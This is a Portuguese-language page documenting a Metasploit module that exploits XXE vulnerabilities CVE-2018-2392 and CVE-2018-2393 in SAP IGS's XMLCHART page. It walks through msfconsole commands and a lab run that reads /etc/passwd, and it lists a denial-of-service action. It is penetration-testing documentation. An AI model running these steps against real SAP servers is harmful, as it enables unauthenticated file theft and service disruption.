Ataque XXE SAP IGS CVE-2018-2392 e CVE-2018-2393

Este módulo no Metasploit Framework

Aplicação Vulnerável

Este módulo explora as CVE-2018-2392 e CVE-2018-2393, duas vulnerabilidades XXE na página XMLCHART dos SAP Internet Graphics Servers (IGS) que executam as versões 7.20, 7.20EXT, 7.45, 7.49 ou 7.53. Essas vulnerabilidades ocorrem devido à falta de validação adequada na tag Extension HTML ao enviar uma requisição POST para a página XMLCHART para gerar um novo gráfico.

A exploração bem-sucedida permitirá que atacantes remotos não autenticados leiam arquivos do servidor como o usuário a partir do qual o serviço IGS é iniciado, que normalmente será o usuário admin do SAP. Alternativamente, os atacantes também podem abusar da vulnerabilidade XXE para realizar um ataque de negação de serviço contra o servidor SAP IGS vulnerável.

Contexto da Aplicação

O Internet Graphics Service (IGS) fornece uma infraestrutura para permitir que desenvolvedores exibam gráficos em um navegador da internet com esforço mínimo. Ele foi integrado em várias tecnologias de interface do SAP, onde fornece uma maneira de utilizar dados de outro sistema SAP ou fonte de dados para gerar saída gráfica ou não gráfica dinâmica.

Passos de Instalação

Os passos para instalar e atualizar o servidor SAP IGS podem ser encontrados online nesta página. Informações adicionais sobre a configuração do servidor IGS podem ser encontradas aqui. Finalmente, informações sobre a administração do servidor IGS podem ser encontradas aqui.

Uma vez configurado e instalado, as instâncias estarão vulneráveis na porta HTTP padrão 40080.

Passos de Verificação

Inicie o msfconsole
Faça: workspace [WORKSPACE]
Faça: use auxiliary/admin/sap/sap_igs_xmlchart_xxe
Faça: set RHOSTS [IP]
Faça: set FILE [remote file name]
Faça: set action READ
Faça: check
Verifique se o método check identifica corretamente se o alvo é vulnerável ou não.
Faça: run
Verifique se os conteúdos do arquivo que você especificou foram retornados.

Opções

FILE

Arquivo para ler do servidor remoto. Exemplo: /etc/passwd

URIPATH

Este é o caminho para a página XMLCHART do servidor SAP IGS que é vulnerável a XXE. Por padrão, está definido como /XMLCHART, no entanto, pode ser alterado se o servidor SAP IGS foi instalado em um caminho diferente da raiz web. Por exemplo, se o servidor SAP IGS foi instalado no caminho /igs/ sob a raiz web, então esse valor seria definido para /igs/XMLCHART.

Ações

   Nome   Descrição
   ----   -----------
   READ   Leitura de arquivo remoto
   DOS    Negação de Serviço

Cenários

Versão vulnerável do SAP IGS: 7.45 em execução no SUSE Linux Enterprise Server for SAP Applications 12 SP1

msf6 > workspace -a SAP_TEST
[*] Added workspace: SAP_TEST
[*] Workspace: SAP_TEST
msf6 > use auxiliary/admin/sap/sap_igs_xmlchart_xxe
msf6 auxiliary(admin/sap/sap_igs_xmlchart_xxe) > set RHOSTS 172.16.30.29
RHOSTS => 172.16.30.29
msf6 auxiliary(admin/sap/sap_igs_xmlchart_xxe) > set FILE /etc/passwd
FILE => /etc/passwd
msf6 auxiliary(admin/sap/sap_igs_xmlchart_xxe) > set action READ
action => READ
msf6 auxiliary(admin/sap/sap_igs_xmlchart_xxe) > set Proxies http:127.0.0.1:8080
Proxies => http:127.0.0.1:8080
msf6 auxiliary(admin/sap/sap_igs_xmlchart_xxe) > set VERBOSE true
VERBOSE => true
msf6 auxiliary(admin/sap/sap_igs_xmlchart_xxe) > options

Module options (auxiliary/admin/sap/sap_igs_xmlchart_xxe):

   Name     Current Setting      Required  Description
   ----     ---------------      --------  -----------
   FILE     /etc/passwd          no        File to read from the remote server
   Proxies  http:127.0.0.1:8080  no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS   172.16.30.29         yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT    40080                yes       The target port (TCP)
   SSL      false                no        Negotiate SSL/TLS for outgoing connections
   URIPATH  /XMLCHART            yes       Path to the SAP IGS XMLCHART page from the web root
   VHOST                         no        HTTP server virtual host


Auxiliary action:

   Name  Description
   ----  -----------
   READ  Remote file read


msf6 auxiliary(admin/sap/sap_igs_xmlchart_xxe) > check
[+] 172.16.30.29:40080 - The target is vulnerable. 172.16.30.29 running OS: SUSE Linux Enterprise Server for SAP Applications 12 SP1 returned a response indicating that its XMLCHART page is vulnerable to XXE!
msf6 auxiliary(admin/sap/sap_igs_xmlchart_xxe) > run
[*] Running module against 172.16.30.29

[+] File: /etc/passwd content from host: 172.16.30.29
at:x:25:25:Batch jobs daemon:/var/spool/atjobs:/bin/bash
bin:x:1:1:bin:/bin:/bin/bash
daemon:x:2:2:Daemon:/sbin:/bin/bash
ftp:x:40:49:FTP account:/srv/ftp:/bin/bash
games:x:12:100:Games account:/var/games:/bin/bash
gdm:x:107:112:Gnome Display Manager daemon:/var/lib/gdm:/bin/false
haldaemon:x:101:102:User for haldaemon:/var/run/hald:/bin/false
lp:x:4:7:Printing daemon:/var/spool/lpd:/bin/bash
mail:x:8:12:Mailer daemon:/var/spool/clientmqueue:/bin/false
man:x:13:62:Manual pages viewer:/var/cache/man:/bin/bash
messagebus:x:100:101:User for D-Bus:/var/run/dbus:/bin/false
news:x:9:13:News system:/etc/news:/bin/bash
nobody:x:65534:65533:nobody:/var/lib/nobody:/bin/bash
ntp:x:74:108:NTP daemon:/var/lib/ntp:/bin/false
polkituser:x:104:107:PolicyKit:/var/run/PolicyKit:/bin/false
postfix:x:51:51:Postfix Daemon:/var/spool/postfix:/bin/false
pulse:x:105:109:PulseAudio daemon:/var/lib/pulseaudio:/bin/false
puppet:x:103:106:Puppet daemon:/var/lib/puppet:/bin/false
root:x:0:0:root:/root:/bin/bash
sshd:x:71:65:SSH daemon:/var/lib/sshd:/bin/false
suse-ncc:x:106:111:Novell Customer Center User:/var/lib/YaST2/suse-ncc-fakehome:/bin/bash
uucp:x:10:14:Unix-to-Unix CoPy system:/etc/uucp:/bin/bash
uuidd:x:102:104:User for uuidd:/var/run/uuidd:/bin/false
wwwrun:x:30:8:WWW daemon apache:/var/lib/wwwrun:/bin/false
admin:x:1000:100:admin:/home/admin:/bin/bash
j45adm:x:1001:1001:SAP System Administrator:/home/j45adm:/bin/csh
sybj45:x:1002:1001:SAP Database Administrator:/sybase/J45:/bin/csh
sapadm:x:1003:1001:SAP System Administrator:/home/sapadm:/bin/false
[+] File: /etc/passwd saved in: /Users/vladimir/.msf4/loot/20201007131238_SAP_TEST_172.16.30.29_igs.xmlchart.xxe_346716.txt
[*] Auxiliary module execution completed
msf6 auxiliary(admin/sap/sap_igs_xmlchart_xxe) > services
Services
========

host          port   proto  name  state  info
----          ----   -----  ----  -----  ----
172.16.30.29  40080  tcp    http  open   SAP Internet Graphics Server (IGS)

msf6 auxiliary(admin/sap/sap_igs_xmlchart_xxe) > vulns

Vulnerabilities
===============

Timestamp                Host          Name                                             References
---------                ----          ----                                             ----------
2020-10-07 10:12:37 UTC  172.16.30.29  SAP Internet Graphics Server (IGS) XMLCHART XXE  CVE-2018-2392,CVE-2018-2393,URL-https://download.ernw-insight.de/troopers/tr18/slides/TR18_SAP_IGS-The-vulnerable-forgotten-component.pdf

msf6 auxiliary(admin/sap/sap_igs_xmlchart_xxe) > loot

Loot
====

host          service  type              name         content     info                  path
----          -------  ----              ----         -------     ----                  ----
172.16.30.29           igs.xmlchart.xxe  /etc/passwd  text/plain  SAP IGS XMLCHART XXE  /Users/vladimir/.msf4/loot/01619fd331da98b5ac4d-20201007131238_SAP_TEST_172.16.30.29_igs.xmlchart.xxe_346716.txt

sap_igs_xxe

Mais Populares